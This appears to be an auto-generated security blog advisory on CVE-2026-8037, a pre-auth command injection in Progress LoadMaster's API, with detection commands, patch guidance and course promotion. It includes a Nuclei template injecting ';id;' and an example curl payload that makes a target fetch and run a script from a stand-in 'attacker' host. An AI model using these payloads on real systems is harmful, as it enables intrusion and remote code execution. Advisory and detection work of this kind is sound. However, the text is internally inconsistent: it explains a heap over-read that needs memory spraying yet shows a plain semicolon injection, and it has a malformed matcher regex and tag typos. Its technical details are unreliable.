Listen to this Post
How CVE-2026-8037 Works
CVE-2026-8037 is a critical OS command injection vulnerability in the API of Progress ADC Products, including Kemp LoadMaster, ECS Connection Manager, Object Scale Connection Manager, and MOVEit WAF. The flaw allows an unauthenticated attacker to execute arbitrary commands on the LoadMaster appliance by exploiting unsanitized input in multiple API command endpoints.
The root cause lies in the `escape_quotes()` function in LoadMaster GA version 7.2.63.1 and older, and LTSF version 7.2.54.17 and older. This function allocates an uninitialized heap buffer using `malloc()` but fails to write a null terminator after escaping output, leading to out‑of‑bounds reads from neighboring freed memory. An unauthenticated attacker can spray command injection content into adjacent memory targeted by the out‑of‑bounds read, which then triggers command execution via the `system()` function.
The vulnerability is reachable through the API, specifically via the `apiuser` parameter provided to the `accessv2` endpoint. Because the API is often enabled and exposed on adjacent networks, an attacker can send crafted API requests without any authentication. The CVSS vector is AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H, giving a score of 9.6 (CRITICAL).
The vulnerability was disclosed on June 4, 2026. On June 29, 2026, watchTowr published technical analysis and proof‑of‑concept (PoC) code. Exploitation attempts began the same day. On August 7, 2026, CISA added CVE‑2026‑8037 to its Known Exploited Vulnerabilities catalog, mandating federal agencies to patch within three days.
DailyCVE Form:
Platform: Progress ADC/LoadMaster
Version: ≤7.2.63.1 GA / ≤7.2.54.17 LTSF
Vulnerability: Pre‑auth OS Command Injection
Severity: CRITICAL (CVSS 9.6)
date: 2026‑06‑04
Prediction: Patch by 2026‑08‑10
What Undercode Say:
Analytics from public threat intelligence indicate active exploitation since June 29, 2026. Over 300 LoadMaster instances are exposed online per Shadowserver. The flaw is CISA KEV‑listed and has been targeted by opportunistic attackers immediately after PoC release.
Bash commands and detection snippets:
Check LoadMaster version via CLI ssh admin@<LoadMaster-IP> "cat /proc/version" Check API exposure curl -k https://<LoadMaster-IP>/accessv2?apiuser=test Look for suspicious API requests in logs grep -i "accessv2" /var/log/messages | grep -i "apiuser" Verify if patch is applied (fixed versions: 7.2.63.2 or 7.2.54.18) ssh admin@<LoadMaster-IP> "lmver"
Nuclei template snippet (CVE-2026-8037 detection):
id: CVE-2026-8037
info:
name: Progress LoadMaster Pre-auth RCE
severity: critical
tags: cve,cve2026,rce,oadmaster
requests:
- raw:
- |
GET /accessv2?apiuser=;id; HTTP/1.1
Host: {{Hostname}}
matchers:
- type: regex
regex:
- "uid=.gid=."
Exploit: (Educational Purposes!)
Attack vector: Unauthenticated, adjacent network access.
Step‑by‑step concept (for defensive understanding only):
1. Identify a vulnerable LoadMaster with API enabled.
- Craft a GET request to `/accessv2` with a malicious `apiuser` parameter containing command injection payload.
- The unsanitized input flows into `escape_quotes()` → heap buffer over‑read → `system()` execution.
4. Commands run with root privileges.
Example payload (do not use on production):
curl -k "https://<target>/accessv2?apiuser=;wget+http://attacker/payload.sh+|+bash;"
Observed exploitation attempts include:
- Fetching reverse shells from attacker‑controlled servers.
- Downloading and executing cryptominers.
- Scanning internal networks from the compromised ADC.
Protection:
1. Immediate patching – Upgrade to:
- LoadMaster GA v7.2.63.2 or later
- LoadMaster LTSF v7.2.54.18 or later
- MOVEit WAF v7.2.63.2 or later
- Restrict API access – Limit management interface to trusted IP ranges only.
- Disable API if not needed – Turn off the API service on appliances that do not require it.
- Network segmentation – Isolate LoadMaster appliances from untrusted adjacent networks.
- Monitor & detect – Review logs for unexpected `/accessv2` requests and `apiuser` parameters containing shell metacharacters (
;,|,&,$(), etc.). - Rotate credentials – If compromise is suspected, rotate all credentials accessible from the appliance.
Impact:
- Confidentiality (High) – Attacker can read sensitive data, configuration files, and SSL private keys.
- Integrity (High) – Ability to modify appliance settings, redirect traffic, and implant backdoors.
- Availability (High) – Can disrupt load‑balancing services, causing downtime.
- Lateral movement – LoadMaster often sits at the network edge with visibility into internal services; compromise can facilitate initial access and further malicious activity within the environment.
- Supply chain risk – With 80% of Fortune 500 companies using Progress products, a single exploited appliance can expose vast enterprise networks.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: www.cve.org
Extra Source Hub:
Undercode
